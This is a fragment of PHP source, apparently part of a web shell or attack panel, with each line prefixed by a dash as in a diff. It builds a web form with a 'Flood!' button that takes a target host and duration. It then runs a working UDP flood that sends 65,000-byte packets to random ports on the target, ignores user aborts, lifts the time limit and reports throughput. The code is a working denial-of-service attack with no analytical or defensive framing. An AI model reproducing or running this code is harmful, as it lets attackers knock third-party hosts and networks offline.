- /* if type=udp */
- if ( $type == "UDP" )
- {
- if ( $_GET['host'] != '' && $_GET['time'] != '' )
- {
- $page .= UDP_FLOOD( $host , $time );
- }
- else
- {
- $page .= ' <b>UDP Flood</b><br /><br />' . "\n";
- $page .= ' <form action="' . $myna . '" method="get">' . "\n";
- $page .= ' <table class="text">' . "\n";
- $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
- $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
- $page .= ' </table>' . "\n";
- $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
- $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
- $page .= ' </form>' . "\n";
- }
- }
- /* ducky udp */
- /////////////////////////////////////////////////////////////////////////////////////////////////////////
- // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
- /////////////////////////////////////////////////////////////////////////////////////////////////////////
- function UDP_Flood( $host , $length )
- {
- ignore_user_abort(TRUE);
- set_time_limit(0);
- $max_time = time() + $length;
- $packet = "";
- $packets = 0;
- while( strlen ( $packet ) < 65000 )
- {
- $packet .= Chr( 255 );
- }
- while( 1 )
- {
- if ( time() > $max_time )
- {
- break;
- }
- $rand = rand( 1 , 65535 );
- @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
- if( $fp )
- {
- fwrite( $fp , $packet );
- fclose( $fp );
- $packets++;
- }
- }
- if ( $packets == 0 )
- {
- $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
- $rtn .= '<table class="text">' . "\n";
- $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
- $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
- $rtn .= '</table>' . "\n";
- $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
- }
- else
- {
- $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
- $rtn .= '<table class="text">' . "\n";
- $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
- $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
- $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
- $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
- $rtn .= '</table>' . "\n";
- }
- return$rtn;
- }